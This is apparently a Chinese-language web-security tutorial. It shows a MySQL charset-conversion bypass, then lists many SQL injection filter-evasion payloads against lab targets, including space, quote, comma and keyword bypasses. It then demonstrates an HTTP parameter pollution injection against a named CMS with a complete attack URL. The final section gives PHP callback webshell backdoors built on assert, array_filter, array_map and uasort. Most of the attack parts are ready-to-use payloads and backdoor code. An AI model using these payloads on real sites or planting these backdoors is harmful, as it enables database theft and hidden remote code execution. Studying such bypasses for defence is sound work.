目录
1、mysql编码绕过
1.1、环境搭建
1.1.1、源码
1.1.2、数据库
1.1.3、检测环境
1.2、绕过技巧
1.2.1、直接使用admin,查询数据,发现权限被拒绝
1.2.2、加上单引号绕过了,但是查询不到数据
1.2.3、试试其他特殊字符,发现c2编码的字符被忽略,成功的查出数据
1.3、编码绕过的原因
1.3.1、字符集的转换
1.3.2、漏洞成因
1.3.3、为什么只有部分字符能使用
2、mysql绕过方法
2.1、空格绕过
2.1.1替代
2.1.2、括号
2.1.3、反引号
2.1.4、浮点数
2.2、引号
2.3、逗号
2.3.1、过滤了逗号后,可以使用join转换
2.3.2、对于盲注的那几个函数substr(),mid(),limit
2.4、比较符号
2.5、or and xor not
2.6、注释符 # (-- ) (--+)
2.7、等号(=)、关键词(如flag)被过滤
2.8、union,select,where
2.9、函数替换
2.10、http参数污染
3、RCE
3.1、php回调后门
3.1.1、call_user_func
3.1.2、array_filter、array_map
3.1.3、assert
1、mysql编码绕过
1.1、环境搭建
1.1.1、源码
<?php
$mysqli = new mysqli("localhost", "root", "root123", "demo");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
$mysqli->query("set names utf8");
$username = addslashes($_GET['username']);
if ($username === 'admin') {
die('Permission denied!');
}
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
if ($result = $mysqli->query( $sql )) {
printf("Select returned %d rows.\n", $result->num_rows);
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
var_dump($row);
}
/* free result set */
$result->close();
} else {
var_dump($mysqli->error);
}
$mysqli->close();
1.1.2、数据库
create schema demo;
use demo;
CREATE TABLE `table1` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(255) COLLATE latin1_general_ci NOT NULL,
`password` varchar(255) COLLATE latin1_general_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
INSERT `table1` VALUES (1, 'admin', 'admin');
1.1.3、检测环境
http://localhost/test.php
浏览器显示如上图所示,就搭建完成了。
1.2、绕过技巧
查看源码发现,只能使用admin用户名来进行注入。
1.2.1、直接使用admin,查询数据,发现权限被拒绝
http://localhost/test.php?username=admin
1.2.2、加上单引号绕过了,但是查询不到数据
http://localhost/test.php?username=admin%27
1.2.3、试试其他特殊字符,发现c2编码的字符被忽略,成功的查出数据
http://localhost/test.php?username=admin%c2
1.3、编码绕过的原因
1.3.1、字符集的转换
造成这个绕过的根本原因是mysql字段的字符集和php mysqli的客户端设置的字符集不相同。
mysql字段的默认的字符集
SHOW VARIABLES LIKE 'character_set_%';
php mysqli客户端的字符集
若果要更改,使用set names utf8;命令更改
既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集
1.3.2、漏洞成因
为什么%c2会被忽略?
个人认为,虽然改变了字符集,但是mysql还是使用了默认的latin1字符集,在mysql进行字符转换时,会将不完整的字符给忽略。
例如:纵这个汉字的编码为\xe7\xba\xb5,可以依次尝试访问下面三个URL:
http://localhost/test.php?username=admin%e7
http://localhost/test.php?username=admin%e7%ba
http://localhost/test.php?username=admin%e7%ba%b5
可以发现,前两者都能成功获取到username=admin的结果,而最后一个URL,也就是当我输入纵字完整的编码时,将会被抛出一个错误:
为什么会抛出错误?原因很简单,因为latin1并不支持汉字,所以utf8汉字转换成latin1时就抛出了错误。
那前两次为什么没有抛出错误?因为前两次输入的编码并不完整,Mysql在进行编码转换时,就将其忽略了。
这个特点也导致,我们查询username=admin%e7时,%e7被省略,最后查出了username=admin的结果。
1.3.3、为什么只有部分字符能使用
简单测试了一下,发现以下结果:
\x00~\x7F: 返回空白结果
\x80~\xC1: 返回错误Illegal mix of collations
\xC2~\xEF: 返回admin的结果
\xF0~\xFF: 返回错误Illegal mix of collations
这就涉及到Mysql编码相关的知识了,先看看维基百科吧。
UTF-8编码是变长编码,可能有1~4个字节表示:
一字节时范围是[00-7F]
两字节时范围是[C0-DF][80-BF]
三字节时范围是[E0-EF][80-BF][80-BF]
四字节时范围是[F0-F7][80-BF][80-BF][80-BF]
然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:
所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4,这也是我在admin后面加上80-C1、F5-FF等字符时会抛出错误的原因。
但是使用四字节编码也会报错
这是因为mysql使用的utf8的字符集是阉割版的utf-8编码,mysql中的utf8字符集最长只支持三个字节。
如果你需要Mysql支持四字节的utf-8,可以使用utf8mb4编码。我将原始代码中的set names改成set names utf8mb4,再看看效果:
发现,还是不行:
2、mysql绕过方法
2.1、空格绕过
2.1.1替代
可以使用注释符/**/、%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/*!*/、两个空格、tab键替代空格
2.1.2、括号
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
select(concat(username,0x7e,password))from security.users;
2.1.3、反引号
反引号 `` 包住表名
select * from`table1`;
2.1.4、浮点数
只能用在id后面,用来让过\bunion(.*)select\b的正则
http://192.168.208.143/sqllab/Less-2/?id=-1.0union%20select%201,2,3--+
select * from users where id=8E0union select 1,2,3;
select * from users where id=8.0union select 1,2,3;
2.2、引号
过滤了引号后,可以将表名转换为十六进制
http://192.168.208.143/sqllab/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479--+
2.3、逗号
2.3.1、过滤了逗号后,可以使用join转换
http://192.168.208.143/sqllab/Less-2/?id=-1%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(select%203)c--+
2.3.2、对于盲注的那几个函数substr(),mid(),limit
substr和mid()可以使用from for的方法解决
substr(str from pos for len) #在str中从第pos位截取len长的字符
mid(str from pos for len) #在str中从第pos位截取len长的字符
mid()使用like,可以查询以什么什么开头的方式来替代
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
limit可以用offset的方法绕过
select * from news limit 1,2
select * from news limit 1 offset 0
2.4、比较符号
(1)greatest(n1,n2,n3,...) //返回其中的最大值
select * from users where id=1 and greatest(ascii(substr(database(),1,1)),32)=115;
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
select * from users where id=1 and strcmp(ascii(substr(database(),1,1)),114);
(3)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
2.5、or and xor not
and=&& or=|| xor=| not=!
2.6、注释符 # (-- ) (--+)
id=1' union select 1,2,3||'1
2.7、等号(=)、关键词(如flag)被过滤
使用like 、rlike 、regexp 或者 使用< 或者 >
select * from tb1 where name like'fl%'; # %表示0个或多个字符,_表示1个字符
select * from tb1 where name regexp'{'; #正则
select * from tb1 where name regexp('{');
select * from users where username like 'ad%';
2.8、union,select,where
1、加注释和数字绕过
/*!50000UniON SeLeCt*/
2、使用注释符拆分绕过
常用注释符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
2.9、函数替换
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、left()、substr() ==> substring()
2.10、http参数污染
利用原理,出现两个相同参数时,php会取第二个参数。其他中间件参考如图
下面用,贷齐乐系统最新版sql注入,来进行演示;
源码:
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// $_REQUEST不能有恶意字符
// $_SERVER
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['username'] . "</td>";
echo "</tr>";
}
}
?>
解析:
查看源码后发现i_d取了两遍,我们可以利用这一点,来进行全局污染。
在PHP中有一个特性会把.或]转化为_;我们可以利用这一特性。
http://localhost/daiqile/index.php?submit=aaaaaaaaaa&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=1
考察:
1、hpp全局污染,php接受相同参数,取后者
2、i.d在php中,自动转换i_d
3、注入绕过 = ‘’ 空格
3、RCE
3.1、php回调后门
3.1.1、call_user_func
源码:
<?php
call_user_func('assert', $_REQUEST['pass']);
?>
注入:
http://127.0.0.1/demo.php?pass=phpinfo()
3.1.2、array_filter、array_map
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
3.1.3、assert
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));